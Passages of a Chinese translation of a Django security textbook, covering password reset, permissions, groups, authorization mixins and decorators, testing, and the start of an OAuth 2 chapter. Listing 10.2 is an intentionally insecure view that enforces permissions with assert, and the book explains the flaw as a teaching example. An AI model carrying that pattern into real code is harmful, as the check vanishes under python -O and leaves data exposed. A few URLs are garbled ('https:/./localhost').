到目前为止,你已经学到了很多关于密码管理的知识。你已经将一个密码更改工作流程组合成了两个内置视图。你了解密码在存储中的表示方式,并知道如何安全地对其进行哈希。在下一节中,我将向你展示另一个基于密码的工作流程,由另外四个内置视图组成���

9.4 密码重置工作流程

鲍勃忘记了他的密码。在这一部分,你将帮助他通过另一个工作流程重置密码。你很幸运;这次你不必编写任何代码。在上一章中,当你将八个 URL 路径映射到内置的 Django 视图时,你已经完成了这项工作。密码重置工作流程由这些视图中的最后四个组成:

  • PasswordResetView

  • PasswordResetDoneView

  • PasswordResetConfirmView

  • PasswordResetCompleteView

Bob 通过未经身份验证的请求进入密码重置页面的工作流程。该页面呈现一个表单。他输入了他的电子邮件,提交表单,然后收到了一封带有密码重置链接的电子邮件。Bob 点击链接,进入一个页面,在那里他重置了密码。图 9.9 说明了这个工作流程。

CH09_F09_Byrne

图 9.9 密码重置工作流程

退出站点并重新启动您的 Django 服务器。将浏览器指向密码重置页面 https:/./localhost:8000/accounts/password_reset/。按设计,此页面可供未经身份验证的用户访问。此页面有一个表单,一个字段:用户的电子邮件地址。输入bob@bob.com并提交表单。

密码重置页面的表单提交由PasswordResetView处理。如果与账户关联的入站电子邮件地址,将向该地址发送带有密码重置链接的电子邮件。如果电子邮件地址未与账户关联,此视图将不发送任何内容。这可以防止恶意的匿名用户使用您的服务器向某人发送未经请求的电子邮件。

密码重置 URL 包含用户的 ID 和一个令牌。这个令牌不仅仅是一串随机的字符和数字;它是一个带键哈希值。PasswordResetView使用 HMAC 函数生成这个哈希值。消息是一些用户字段,如 ID 和last_login。密钥是SECRET_KEY设置。图 9.10 说明了这个过程。

CH09_F10_Byrne

图 9.10 Bob 提交密码重置请求并收到密码重置令牌;该令牌是一个带键哈希值。

在上一章中,您配置了 Django 将电子邮件重定向到控制台。从控制台复制并粘贴 Bob 的密码重置 URL 到另一个浏览器选项卡中。这将传递密码重置令牌和用户的 ID 回服务器。服务器使用用户 ID 重建令牌。然后重建的令牌与入站密码重置令牌进行比较。如果两个令牌匹配,服务器知道它是令牌的作者;Bob 被允许更改他的密码。如果令牌不匹配,服务器知道入站密码重置令牌是伪造的或被篡改的。这可以防止像 Mallory 这样的人为别人的帐户重置密码。

密码重置令牌不可重复使用。如果 Bob 想再次重置密码,他必须重新开始并完成工作流程。这减轻了 Mallory 在 Bob 收到密码重置电子邮件后访问 Bob 的电子邮件账户的风险。在这种情况下,Mallory 仍然可以伤害 Bob,但她无法使用旧的和被遗忘的密码重置电子邮件更改 Bob 的密码。

密码重置令牌有一个过期时间。这也减轻了 Mallory 访问 Bob 的密码重置电子邮件的风险。默认的密码重置超时时间为三天。这对于一个社交媒体网站来说是合理的,但对于导弹制导系统来说是不合适的。只有你可以确定你构建的系统的适当值。

使用PASSWORD_RESET_TIMEOUT设置来配置密码重置的过期时间(以秒为单位)。该设置弃用了PASSWORD_RESET_TIMEOUT_DAYS,对于某些系统来说,这种设置太粗糙了。

在前几章中,您学到了很多关于哈希和认证的知识。在本章中,您了解了这两个主题之间的关系。更改和重置密码是任何系统的基本功能;两者都严重依赖哈希。到目前为止,您学到的关于认证的知识为下一章的主题做好了准备,即授权。

总结

  • 不要重复造轮子;使用内置的 Django 组件更改和重置用户密码。

  • 使用密码验证强制和微调您的密码策略。

  • 用盐哈希抵御暴力破解攻击。

  • 不要使用常规哈希函数对密码进行哈希;始终使用密钥派生函数,最好选择 Argon2。

  • 使用 Django 数据迁移迁移遗留密码哈希值。

  • 密码重置工作流是数据认证和键控哈希的又一应用。


  1. 在 2016 年,LinkedIn 承认这个数字实际上超过了 1.7 亿。

第十章:授权

本章内容包括

  • 创建超级用户和权限

  • 管理组成员

  • 使用 Django 强制应用程序级别的授权

  • 测试授权逻辑

认证和授权往往容易混淆。认证 关系到用户是谁;授权 关系到用户可以做什么。认证和授权通常分别称为 authnauthz。认证是授权的先决条件。在本章中,我涵盖了与应用程序开发相关的授权,也称为 访问控制。在下一章中,我将继续介绍 OAuth 2,一种标准化的授权协议。

注:在撰写本文时,破坏授权是 OWASP 十大关键安全风险清单上的第五项(owasp.org/www-project-top-ten/)。

你将从应用程序级别的权限授权开始本章。权限 是授权的最原子形式。它授权一个人或一组人只能执行一件事情。接下来,你将为 Alice 创建一个超级用户帐户。然后你将以 Alice 的身份登录 Django 管理控制台,在那里你将管理用户和组权限。之后,我将向你展示几种应用权限和组来控制谁可以访问受保护的资源。

10.1 应用程序级授权

在这一部分,你将创建一个名为messaging的新 Django 应用程序。该应用程序使你接触到 Django 授权、权限的最基本元素。要创建新的消息应用程序,请在项目根目录中运行以下命令。此命令将在一个名为 messaging 的新目录中生成一个 Django 应用程序:

$ python manage.py startapp messaging

生成的应用程序的目录结构如图 10.1 所示。在这个练习中,你将在models模块中添加一个类,并通过对migrations包进行一些添加来多次修改数据库。

CH10_F01_Byrne

图 10.1 新 Django 应用程序 messaging 的目录结构

现在你需要在 Django 项目中注册你的 Django 应用程序。打开settings模块,找到INSTALLED_APPS列表。添加你在这里看到的加粗字体的行。确保不要改变之前安装的所有其他应用程序:

INSTALLED_APPS = [
    ...
 'messaging',
]

接下来,打开 models.py 并将以下模型类定义放入其中。AuthenticatedMessage表示一个消息和一个具有两个属性的哈希值。在第十四章中,Alice 和 Bob 将使用此类进行安全通信:

from django.db.models import Model, CharField

class AuthenticatedMessage(Model):
    message = CharField(max_length=100)
    hash_value = CharField(max_length=64)

正如所有模型一样,AuthenticatedMessage必须映射到一个数据库表。表是通过 Django 迁移创建的。(你在上一章学习过迁移。)映射由 Django 内置的 ORM 框架在运行时处理。

运行以下命令为你的模型类生成一个迁移脚本。此命令将自动检测新模型类并在迁移目录下创建一个新的迁移脚本,显示为粗体字体:

$ python manage.py makemigrations messaging
Migrations for 'messaging':
 messaging/migrations/0001_initial.py      # ❶
    - Create model AuthenticatedMessage

❶ 新的迁移脚本

最后,通过运行以下命令执行你的迁移脚本,显示为粗体:

$ python manage.py migrate
Running migrations:
  Applying messaging.0001_initial... OK

运行你的迁移脚本不仅会创建一个新的数据库表,还会在后台创建四个新的权限。下一节将解释这些权限存在的方式和原因。

10.1.1 权限

Django 使用内置模型 Permission 来表示权限。Permission 模型是 Django 授权的最基本元素。每个用户可以关联零到多个权限。权限分为两类:

  • 由 Django 自动创建的默认权限

  • 由你创建的自定义权限

Django 会自动为每个新模型创建四个默认权限。当运行迁移时,这些权限在后台创建。这些权限允许用户创建、读取、更新和删除模型。在 Django shell 中执行以下代码,观察AuthenticatedMessage模型的所有四个默认权限,显示为粗体:

$ python manage.py shell
>>> from django.contrib.auth.models import Permission
>>> 
>>> permissions = Permission.objects.filter(
...     content_type__app_label='messaging',
...     content_type__model='authenticatedmessage')
>>> [p.codename for p in permissions]
['add_authenticatedmessage', 'change_authenticatedmessage', 
'delete_authenticatedmessage', 'view_authenticatedmessage']

随着项目的发展,通常会需要自定义权限。通过将一个内部Meta类添加到你的模型中来声明这些权限。打开你的models模块,并向AuthenticatedMessage添加以下Meta类,显示为粗体,Meta类的permissions属性定义了两个自定义权限。这些权限指定了哪些用户可以发送和接收消息:

class AuthenticatedMessage(Model):       # ❶
    message = CharField(max_length=100)
    mac = CharField(max_length=64)

 class Meta:                          # ❷
 permissions = [
 ('send_authenticatedmessage', 'Can send msgs'),
 ('receive_authenticatedmessage', 'Can receive msgs'),
 ]

❶ 你的模型类

❷ 你的模型 Meta 类

与默认权限类似,自定义权限在迁移期间会自动创建。使用以下命令生成一个新的迁移脚本。如粗体字体的输出所示,此命令会在迁移目录下生成一个新的脚本:

$ python manage.py makemigrations messaging --name=add_permissions
Migrations for 'messaging':
 messaging/migrations/0002_add_permissions.py      # ❶
    - Change Meta options on authenticatedmessage

❶ 新的迁移脚本

接下来,使用以下命令执行你的迁移脚本:

$ python manage.py migrate
Running migrations:
  Applying messaging.0002_add_permissions... OK

现在,你已经向你的项目添加了一个应用、一个模型、一个数据库表和六个权限。在下一节中,你将为 Alice 创建一个账户,以她的身份登录,并将这些新权限授予 Bob。

10.1.2 用户和组管理

在本节中,你将创建一个超级用户 Alice。超级用户是具有执行所有操作权限的特殊管理用户;这些用户拥有所有权限。作为 Alice,你将访问 Django 内置的管理控制台。默认情况下,该控制台在每个生成的 Django 项目中都是启用的。管理控制台的简要介绍将向你介绍 Django 如何实现应用级授权。

如果您的 Django 项目能够提供静态内容,则管理控制台更易于使用且更好看。Django 可以自行通过 HTTP 完成此操作,但 Gunicorn 不设计通过 HTTPS 完成此操作。这个问题很容易通过 WhiteNoise 解决,它是一个专门设计用于有效地提供静态内容并最小化设置复杂性的软件包(如图 10.2 所示)。管理控制台(以及项目的其余部分)将使用 WhiteNoise 正确地向您的浏览器提供 JavaScript、样式表和图像。

CH10_F02_Byrne

图 10.2 一个 Django 应用服务器使用 WhiteNoise 提供静态资源。

在虚拟环境中运行以下 pipenv 命令来安装 WhiteNoise:

$ pipenv install whitenoise

现在,您需要通过中间件在 Django 中激活 WhiteNoise。什么是中间件?中间件是 Django 中的一个轻量级子系统,位于每个入站请求和您的视图之间的中间,以及您的视图和每个出站响应之间的中间。从这个位置上,中间件应用前后处理逻辑。

中间件逻辑由一组中间件组件实现。每个组件都是一个独特的小型处理挂钩,负责执行特定任务。例如,内置的 AuthenticationMiddleware 类负责将入站 HTTP 会话 ID 映射到用户。我在后面的章节中介绍的一些中间件组件负责管理与安全相关的响应头。在本节中添加的组件 WhiteNoiseMiddleware 负责提供静态资源。

与 Django 的每个其他子系统一样,中间件在 settings 模块中进行配置。打开您的 settings 模块并找到 MIDDLEWARE 设置。该设置是一个中间件组件类名称列表。如下代码中加粗显示的那样,将 WhiteNoiseMiddleware 添加到 MIDDLEWARE 中。确保此组件紧随 SecurityMiddleware 之后,并位于所有其他内容之前。不要移除任何现有的中间件组件:

MIDDLEWARE = [
    'django.middleware.security.SecurityMiddleware',   # ❶
    'whitenoise.middleware.WhiteNoiseMiddleware',      # ❷
    ...
]

❶ 确保 SecurityMiddleware 保持在第一位。

❷ 将 WhiteNoise 添加到您的项目中

警告:每个生成的 Django 项目都使用 SecurityMiddleware 作为第一个 MIDDLEWARE 组件进行初始化。SecurityMiddleware 实现了一些先前介绍过的安全特性,如 Strict-Transport-Security 响应头和 HTTPS 重定向。如果将其他中间件组件放在 SecurityMiddleware 前面,这些安全特性就会受到影响。

重新启动您的服务器,并将浏览器指向 https:/./localhost:8000/admin/ 的管理控制台登录页面。登录页面应该会显示如图 10.3. 所示。如果您的浏览器以没有样式的相同表单呈现,则表示 WhiteNoise 尚未安装。如果 MIDDLEWARE 配置错误或服务器未重新启动,则会发生这种情况。管理控制台仍将在没有 WhiteNoise 的情况下工作;它只是看起来不太好而已。

CH10_F03_Byrne

图 10.3 Django 的管理登录页面

管理控制台登录页面需要具有超级用户或工作人员身份的用户的身份验证凭据;Django 不允许常规最终用户登录管理控制台。

从项目根目录运行以下命令以创建超级用户。此命令在您的数据库中创建一个超级用户;它将提示您输入新超级用户的密码:

$ python manage.py createsuperuser \
         --username=alice --email=alice@alice.com

作为 Alice 登录管理控制台。作为超级用户,您可以从管理登录页面管理组和用户。单击组旁边的添加,导航到新的组输入表单。

小组

提供了一种将一组权限与一组用户关联起来的方法。一个组可以与零到多个权限以及零到多个用户关联。与组关联的每个权限都隐式授予该组的每个用户。

新的组输入表单,如图 10.4 所示,需要组名称和可选权限。请花一分钟观察可用权限。注意它们分成了四组。每个批次代表数据库表的默认权限,控制谁可以创建、读取、更新和删除行。

CH10_F04_Byrne

图 10.4 新的组输入表单接受组名称和多个组权限。

浏览可用权限选择器,并找到您为消息应用程序创建的权限。与其他批次不同,这个批次有六个元素:四个默认权限和两个自定义权限。

在名称字段中输入observersobservers组旨在对每个表具有只读访问权限。选择包含文本“Can view”的每个可用权限。通过单击保存提交表单。

提交表单后,您将被带到列出所有组的页面。通过单击左侧边栏中的“用户”导航到列出所有用户的类似页面。当前,此页面仅列出 Alice 和 Bob。通过单击其名称,导航到 Bob 的用户详细信息页面。向下滚动用户详细信息页面,直到找到两个相邻的组和权限部分。在此部分中,如图 10.5 所示,将 Bob 分配到observers组,并为他赋予消息应用程序的所有六个权限。滚动到底部,然后单击保存。

CH10_F05_Byrne

图 10.5 作为管理员分配组和权限

小组成员资格和权限不需要手动管理;相反,您可以通过编程方式进行管理。列表 10.1 展示了如何通过User模型的两个属性授予和撤销权限。小组成员资格通过groups属性授予和撤销。user_permissions属性允许向用户添加或删除权限。

列表 10.1 编程方式管理组和权限

from django.contrib.auth.models import User
from django.contrib.auth.models import Group, Permission

bob = User.objects.get(username='bob')                                  # ❶
observers = Group.objects.get(name='observers')                         # ❶
can_send = Permission.objects.get(codename='send_authenticatedmessage') # ❶

bob.groups.add(observers)                                               # ❷
bob.user_permissions.add(can_send)                                      # ❸

bob.groups.remove(observers)                                            # ❹
bob.user_permissions.remove(can_send)                                   # ❺

❶ 检索模型实体

❷ 将 Bob 添加到一个组

❸ 为 Bob 添加权限

❹ 将 Bob 从一个组中移除

❺ 从 Bob 中移除一个权限

到目前为止,你已经了解了组和权限是如何工作的。你知道它们是什么,如何创建它们,以及如何将它们应用到用户身上。但它们在实际应用中是什么样子呢?在接下来的部分,你将开始使用组和权限来解决问题。

10.2 强制授权

授权的整个目的是防止用户做他们不应该做的事情。这适用于系统内的操作,比如阅读敏感信息,以及系统外的操作,比如指挥飞行交通。在 Django 中有两种实施授权的方式:低级的困难方式和高级的简单方式。在本节中,我将先展示困难的方式。之后,我将向你展示如何测试你的系统是否正确地执行了授权。

10.2.1 低级的困难方式

User 模型提供了几种设计用于程序化权限检查的低级方法。下面的代码展示了 has_perm 方法,它允许你访问默认权限和自定义权限。在这个例子中,Bob 不被允许创建其他用户,但允许接收消息:

>>> from django.contrib.auth.models import User
>>> bob = User.objects.get(username='bob')
>>> bob.has_perm('auth.add_user')                            # ❶
False                                                        # ❶
>>> bob.has_perm('messaging.receive_authenticatedmessage')   # ❷
True                                                         # ❷

❶ Bob 无法添加用户。

❷ Bob 可以接收消息。

对于超级用户,has_perm 方法将始终返回 True

>>> alice = User.objects.get(username='alice')
>>> alice.is_superuser                         # ❶
True                                           # ❶
>>> alice.has_perm('auth.add_user')
True

❶ Alice 可以做任何事情。

has_perms 方法提供了一种方便的方式来一次检查多个权限:

>>> bob.has_perms(['auth.add_user',                              # ❶
...                'messaging.receive_authenticatedmessage'])    # ❶
False                                                            # ❶
>>> 
>>> bob.has_perms(['messaging.send_authenticatedmessage',        # ❷
...                'messaging.receive_authenticatedmessage'])    # ❷
True                                                             # ❷

❶ Bob 无法添加用户和接收消息。

❷ Bob 可以发送和接收消息。

低级 API 并没有错,但你应该尽量避免使用它,原因有两个:

  • 低级权限检查需要比我后面介绍的方法更多的代码行。

  • 更重要的是,以这种方式检查权限容易出错。例如,如果你查询这个 API 关于一个不存在的权限,它将简单地返回 False

>>> bob.has_perm('banana')
False

这是另一个陷阱。权限是一次从数据库中批量获取并缓存的。这带来了一个危险的折衷。一方面,has_permhas_perms 在每次调用时不会触发数据库查询。另一方面,当你在将权限应用到用户之后立即检查权限时,你必须小心。下面的代码片段演示了为什么。在这个例子中,一个权限被从 Bob 那里拿走了。不幸的是,本地权限状态没有被更新:

>>> perm = 'messaging.send_authenticatedmessage'    # ❶
>>> bob.has_perm(perm)                              # ❶
True                                                # ❶
>>> 
>>> can_send = Permission.objects.get(              # ❷
...     codename='send_authenticatedmessage')       # ❷
>>> bob.user_permissions.remove(can_send)           # ❷
>>> 
>>> bob.has_perm(perm)                              # ❸
True                                                # ❸

❶ Bob 从权限开始。

❷ Bob 失去了权限。

❸ 本地副本无效。

继续使用同一个例子,当在 User 对象上调用 refresh_from_db 方法时会发生什么?本地权限状态仍然没有被更新。为了获取最新状态的副本,必须重新从数据库加载一个新的 User 模型:

>>> bob.refresh_from_db()                     # ❶
>>> bob.has_perm(perm)                        # ❶
True                                          # ❶
>>> 
>>> reloaded = User.objects.get(id=bob.id)    # ❷
>>> reloaded.has_perm(perm)                   # ❷
False                                         # ❷

❶ 本地副本仍然无效。

❷ 重新加载的模型对象有效。

这是第三个陷阱。列表 10.2 定义了一个视图。这个视图在渲染敏感信息之前执行授权检查。它有两个错误。你能发现其中任何一个吗?

列表 10.2 如何不强制授权

from django.shortcuts import render
from django.views import View

class UserView(View):

    def get(self, request):
        assert request.user.has_perm('auth.view_user')   # ❶
        ...
        return render(request, 'sensitive_info.html')    # ❷

❶ 检查权限

❷ 渲染敏感信息

第一个错误在哪里?与许多编程语言一样,Python 有一个 assert 语句。该语句评估一个条件,如果条件为 False,则会引发一个 AssertionError。在这个例子中,条件是一个权限检查。在开发和测试环境中,assert 语句非常有用,但是当 Python 使用 -O 选项调用时,它们会产生一种虚假的安全感。(此选项代表 优化。)作为一种优化,Python 解释器会移除所有 assert 语句。在控制台中键入以下两个命令,自己看一下:

$ python -c 'assert 1 == 2'               # ❶
Traceback (most recent call last):        # ❶
  File "<string>", line 1, in <module>    # ❶
AssertionError                            # ❶
$ python -Oc 'assert 1 == 2'              # ❷

❶ 引发 AssertionError

❷ 不引发任何内容

警告 assert 语句是调试程序的一种好方法,但不应用于执行权限检查。除了权限检查之外,assert 语句也不应用于一般应用程序逻辑。这包括所有安全检查。-O 标志在开发或测试环境中很少使用;它经常在生产中使用。

第二个错误在哪里?假设断言实际上是在您的生产环境中执行的。与任何错误一样,服务器会将 AssertionError 转换为状态码 500. 根据 HTTP 规范的定义,此代码指定为内部服务器错误(tools.ietf.org/html/rfc7231)。您的服务器现在阻止未经授权的请求,但未生成有意义的 HTTP 状态码。一个出于善意的客户端现在收到这个代码,并错误地得出根本问题是服务器端的结论。

未经授权的请求的正确状态码是 403. 服务器发送状态码 403 以指定资源为禁止。此状态码在本章中出现了两次,从下一节开始。

10.2.2 高级简单方法

现在我将向您展示简单的方法。这种方法更清洁,您不必担心任何上述的陷阱。Django 预装了几个专为授权而设计的内置 mixin 和装饰器。使用以下高级工具比使用一堆 if 语句更清洁:

  • PermissionRequiredMixin

  • @permission_required

PermissionRequiredMixin 强制执行各个视图的授权。此类自动检查与每个传入请求关联的用户的权限。您可以使用 permission_required 属性指定要检查的权限。此属性可以是表示一个权限的字符串,也可以是表示多个权限的字符串可迭代对象。

在第 10.3 节的视图中继承自 PermissionRequiredMixin,如粗体字所示。permission_required 属性,也以粗体字显示,确保在处理请求之前用户必须具有查看经过身份验证的消息的权限。

在 PermissionRequiredMixin 中进行授权的第 10.3 节

from django.contrib.auth.mixins import PermissionRequiredMixin
from django.http import JsonResponse

class AuthenticatedMessageView(PermissionRequiredMixin, View):     # ❶
 permission_required = 'messaging.view_authenticatedmessage'    # ❷

    def get(self, request):
         ...
         return JsonResponse(data)

❶ 确保权限已检查

❷ 声明要检查的权限

PermissionRequiredMixin 对匿名请求作出响应,将浏览器重定向到登录页面。如预期,对未经授权的请求作出状态码为 403 的响应。

@permission_required 装饰器是 PermissionRequiredMixin 的功能等效物。列表 10.4 演示了 @permission_ required 装饰器的授权,它显示在粗体中,对基于函数的视图进行了授权。与前一个示例类似,此代码确保用户必须具有权限查看已认证消息才能处理请求。

10.4 列表使用 @permission_required 进行授权

from django.contrib.auth.decorators import permission_required
from django.http import JsonResponse

@permission_required('messaging.view_authenticatedmessage', raise_exception=True)                      # ❶
def authenticated_message_view(request):        # ❷
    ...                                         # ❷
    return JsonResponse(data)                   # ❷

❶ 在处理请求之前检查权限

❷ 基于函数的视图

有时您需要使用比简单的权限检查更复杂的逻辑来保护资源。以下一对内置实用程序旨在使用任意 Python 强制授权;它们在其他方面的行为类似于 PermissionRequiredMixin@permission_required 装饰器:

  • UserPassesTestMixin

  • @user_passes_test

在粗体显示的列表 10.5 中,UserPassesTestMixin 保护了使用 Python 中任意逻辑的视图。此实用程序为每个请求调用 test_func 方法。此方法的返回值确定了是否允许该请求。在此示例中,用户必须具有新账户或为 Alice。

10.5 列表使用 UserPassesTestMixin 进行授权

from django.contrib.auth.mixins import UserPassesTestMixin
from django.http import JsonResponse

class UserPassesTestView(UserPassesTestMixin, View):

    def test_func(self):                                                # ❶
        user = self.request.user                                        # ❶
        return user.date_joined.year > 2020 or user.username == 'alice' # ❶

    def get(self, request):
        ...
        return JsonResponse(data)

❶ 任意授权逻辑

在粗体显示的列表 10.6 中,@user_passes_test 装饰器是 UserPassesTestMixin 的功能等效物。与 UserPassesTestMixin 不同,@user _passes_test 装饰器对未经授权的请求作出将浏览器重定向到登录页面的响应。在此示例中,用户必须具有来自 alice.com 的电子邮件地址或名为 bob 的名字。

10.6 列表使用 @user_passes_test 进行授权

from django.contrib.auth.decorators import user_passes_test
from django.http import JsonResponse

def test_func(user):                                                     # ❶
    return user.email.endswith('@alice.com') or user.first_name == 'bob' # ❶

@user_passes_test(test_func)
def user_passes_test_view(request):                                      # ❷
    ...                                                                  # ❷
    return JsonResponse(data)                                            # ❷

❶ 任意授权逻辑

❷ 基于函数的视图

10.2.3 条件渲染

通常,向用户显示他们无权执行的操作是不可取的。例如,如果 Bob 没有权限删除其他用户,您希望避免用一个删除用户的链接或按钮误导他。解决方案是有条件地呈现控件:您将其从用户那里隐藏,或以禁用状态显示给他们。

基于授权的条件渲染内置于默认的 Django 模板引擎中。您通过 perms 变量访问当前用户的权限。以下模板代码说明了如何在当前用户被允许发送消息时有条件地呈现链接。perms 变量已用粗体标出:

{% if perms.messaging.send_authenticatedmessage %}
    <a href='/authenticated_message_form/'>Send Message</a>
{% endif %}

或者,您可以使用此技术将控件呈现为已禁用状态。以下控件对任何人都可见;仅对被允许创建新用户的人启用:

<input type='submit'
       {% if not perms.auth.add_user %} disabled {% endif %}
       value='Add User'/>

警告:永远不要让条件渲染成为一种虚假的安全感。它永远不会取代服务器端的授权检查。这适用于服务器端和客户端的条件渲染。

不要被这个功能所误导。条件渲染是改善用户体验的好方法,但它并不是执行授权的有效方法。控件是隐藏还是禁用都无关紧要;这两种情况都不能阻止用户向服务器发送恶意请求。授权必须在服务器端执行;其他任何事情都不重要。

10.2.4 测试授权

在第八章中,你了解到认证对于测试来说不是障碍;这也适用于授权。清单 10.7 展示了如何验证你的系统是否正确地保护了受保护的资源。

TestAuthorization 的设置方法创建并验证了一个名为 Charlie 的新用户。测试方法从断言 Charlie 被禁止查看消息开始,显示为粗体。(你之前学过服务器用状态码 403 来传达这一信息。)然后,测试方法验证了在授予 Charlie 权限后他可以查看消息;网络服务器用状态码 200 来传达这一信息,也显示为粗体。

清单 10.7 测试授权

from django.contrib.auth.models import User, Permission

class TestAuthorization(TestCase):

    def setUp(self):
        passphrase = 'fraying unwary division crevice'     # ❶
        self.charlie = User.objects.create_user(           # ❶
            'charlie', password=passphrase)                # ❶
        self.client.login(
            username=self.charlie.username, password=passphrase)

    def test_authorize_by_permission(self):
        url = '/messaging/authenticated_message/'
        response = self.client.get(url, secure=True)       # ❷
 self.assertEqual(403, response.status_code)        # ❷

        permission = Permission.objects.get(               # ❸
            codename='view_authenticatedmessage')          # ❸
        self.charlie.user_permissions.add(permission)      # ❸

        response = self.client.get(url, secure=True)       # ❹
 self.assertEqual(200, response.status_code)        # ❹

❶ 为 Charlie 创建账户

❷ 断言无法访问

❸ 授予权限

❹ 断言可以访问

在前一节中,你学会了如何授予权限;在本节中,你学会了如何执行权限。我认为可以肯定地说,这个主题不像本书中的其他一些材料那么复杂。例如,TLS 握手和密钥派生函数要复杂得多。尽管授权看起来很简单,但令人惊讶的是,有相当高的组织都做错了。在下一节中,我会向你展示一个规则,以避免这种情况。

10.3 反模式和最佳实践

2020 年 7 月,一小群攻击者成功进入了 Twitter 的一个内部管理系统。攻击者通过这个系统重置了 130 个知名 Twitter 账户的密码。埃隆·马斯克、乔·拜登、比尔·盖茨等许多公众人物的账户受到了影响。其中一些被劫持的账户随后被用于针对数百万 Twitter 用户进行比特币诈骗,获得了约 12 万美元的收入。

根据两名前 Twitter 员工的说法,超过 1000 名员工和承包商可以访问受损的内部管理系统(mng.bz/9NDr)。尽管 Twitter 拒绝就此数字发表评论,但我可以肯定地说这并不会使他们比大多数组织更糟糕。大多数组织至少有一个糟糕的内部工具,允许太多权限被授予太多用户。

这种反模式,即每个人都可以做任何事情,源于组织未能应用最小权限原则。正如第一章所指出的,PLP 表明用户或系统只应被赋予执行其职责所需的最低权限。越少越好;要保守行事。

相反,一些组织有太多的权限和太多的群组。这些系统更安全,但行政和技术维护成本是高得令人难以承受的。一个组织如何平衡?一般来说,你应该偏爱以下两个经验法则:

  • 通过组成员资格授予权限。

  • 通过独立的独立权限强制执行授权。

这种方法可以减少技术成本,因为每次一个群体增加或减少用户或职责时,你的代码都不需要改变。行政成本保持低廉,但前提是每个群体都以有意义的方式定义。作为一个经验法则,创建模拟实际现实世界组织角色的群体。如果你的用户属于“销售代表”或“后端运营经理”这样的类别,你的系统可能只需要用一个组来模拟他们。在为群体命名时不要创造性;只需使用他们自己称呼的名字。

授权是任何安全系统的重要组成部分。你知道如何授予、强制执行和测试它。在本章中,你了解了在应用程序开发中应用的这个主题。在下一章中,我将继续讲述这个主题,介绍 OAuth 2,一个授权协议。这个协议允许用户授权第三方访问受保护的资源。

概要

  • 认证与你是谁有关;授权与你能做什么有关。

  • 用户、组和权限是授权的构建模块。

  • WhiteNoise 是一种简单而高效的静态资源服务方式。

  • Django 的管理控制台使超级用户能够管理用户。

  • 更倾向于使用高级授权 API 而不是低级 API。

  • 通常情况下,通过独立权限来强制执行授权;通过组成员资格授予权限。

第十一章:OAuth 2

本章内容

  • 注册 OAuth 客户端

  • 请求对受保护资源的授权

  • 授权而不暴露身份验证凭据

  • 访问受保护的资源

OAuth 2是由 IETF 定义的行业标准授权协议。这个协议,我简称为OAuth,使用户能够授权第三方访问受保护的资源。最重要的是,它允许用户在不向第三方暴露他们的身份验证凭据的情况下这样做。在本章中,我将解释 OAuth 协议,并与 Alice、Bob 和 Charlie 一起详细介绍它。Eve 和 Mallory 也会出现。我还会向你展示如何使用两个很棒的工具 Django OAuth Toolkit 和requests-oauthlib来实现这个协议。

你可能已经使用过 OAuth 了。你是否曾经访问过 medium.com 这样的网站,可以使用“使用 Google 登录”或“使用 Twitter 登录”?这个功能,称为社交登录,旨在简化账户创建。这些网站不会纠缠你的个人信息,而是要求你允许它们从社交媒体网站检索你的个人信息。在底层,这通常是使用 OAuth 实现的。

在我们深入研究这个主题之前,我将用一个例子来说明一些词汇术语。这些术语由 OAuth 规范定义;它们在本章中反复出现。当你去 medium.com 并使用 Google 登录时

  • 你的谷歌账户信息是受保护的资源

  • 你是资源所有者;资源所有者是一个实体,通常是最终用户,有权授权访问受保护的资源。

  • Medium.com 是OAuth 客户端,一个第三方实体,当资源所有者允许时可以访问受保护的资源。

  • 谷歌托管着授权服务器,允许资源所有者授权第三方访问受保护的资源。

  • 谷歌还托管着资源服务器,守护着受保护的资源。

在现实世界中,资源服务器有时被称为API。在本章中,我避免使用这个术语,因为它有歧义。授权服务器和资源服务器几乎总是属于同一组织;对于小型组织来说,它们甚至是同一个服务器。图 11.1 展示了这些角色之间的关系。

CH11_F01_Byrne

图 11.1 Google 通过 OAuth 进行社交登录

谷歌和第三方网站通过实现一个工作流程进行合作。这个工作流程,或授权类型,由 OAuth 规范定义。在下一节中,你将详细了解这个授权类型。

11.1 授权类型

授权类型定义了资源所有者如何授予对受保护资源的访问权限。OAuth 规范定义了四种授权类型。在本书中,我只讨论了一种,即授权码。这种授权类型占据了绝大多数 OAuth 使用情况;现在先不要关注其他三种。以下列表概述了每种授权类型及其适用的用例:

  • 授权码授权适用于网站、移动应用程序和基于浏览器的应用程序。

  • 隐式授权曾经是移动和基于浏览器的应用程序的推荐授权类型。但这种授权类型已经被弃用。

  • 密码授权通过要求资源所有者通过第三方提供其凭据,从而消除了对授权服务器的需求。

  • 客户端凭据授权适用于资源所有者和第三方是同一实体的情况。

在您的工作和个人生活中,您可能只会看到授权码授权。隐式授权已被弃用,密码授权固有地不太安全,客户端凭据授权的用例很少见。下一节将介绍授权码流,OAuth 的主要部分。

11.1.1 授权码流

授权 码流由一个明确定义的协议实现。在此协议开始之前,第三方必须首先注册为授权服务器的 OAuth 客户端。OAuth 客户端注册为协议建立了几个前提条件,包括 OAuth 客户端的名称和凭据。协议中的每个参与者在协议的各个阶段使用此信息。

授权码流协议分为四个阶段:

  1. 请求授权

  2. 授予权限

  3. 执行令牌交换

  4. 访问受保护的资源

四个阶段中的第一个始于资源所有者访问 OAuth 客户端站点时。

请求授权

在协议的此阶段(图 11.2 中所示)期间,OAuth 客户端通过将资源所有者发送到授权服务器来请求授权。通过普通链接、HTTP 重定向或 JavaScript,站点将资源所有者指向授权 URL。这是授权服务器托管的授权表单的地址。

CH11_F02_Byrne

图 11.2 资源所有者访问第三方站点;该站点将其指向授权服务器托管的授权表单。

下一阶段开始时,授权服务器向资源所有者呈现授权表单。

授予权限

在协议的此阶段(图 11.3 中所示)期间,资源所有者通过授权服务器向 OAuth 客户端授予对受保护资源的访问权限。授权表单负责确保资源所有者做出知情决定。然后,资源所有者通过提交授权表单来授予权限。

接下来,授权服务器将资源所有者重定向回到他们来自的地方,即 OAuth 客户端站点。这是通过将他们重定向到一个称为重定向 URI的 URL 来完成的。第三方在 OAuth 客户端注册过程中预先设置了重定向 URI。

CH11_F03_Byrne

图 11.3 资源所有者通过提交授权表单来授予授权;授权服务器会使用授权码将所有者重定向回第三方站点。

授权服务器将一个重要的查询参数附加到重定向 URI 中;此查询参数被命名为code,如authorization code中所示。换句话说,授权服务器通过将其反射到资源所有者身上将授权码传递给 OAuth 客户端。

第三阶段始于 OAuth 客户端从入站重定向 URI 中解析授权码。

执行令牌交换

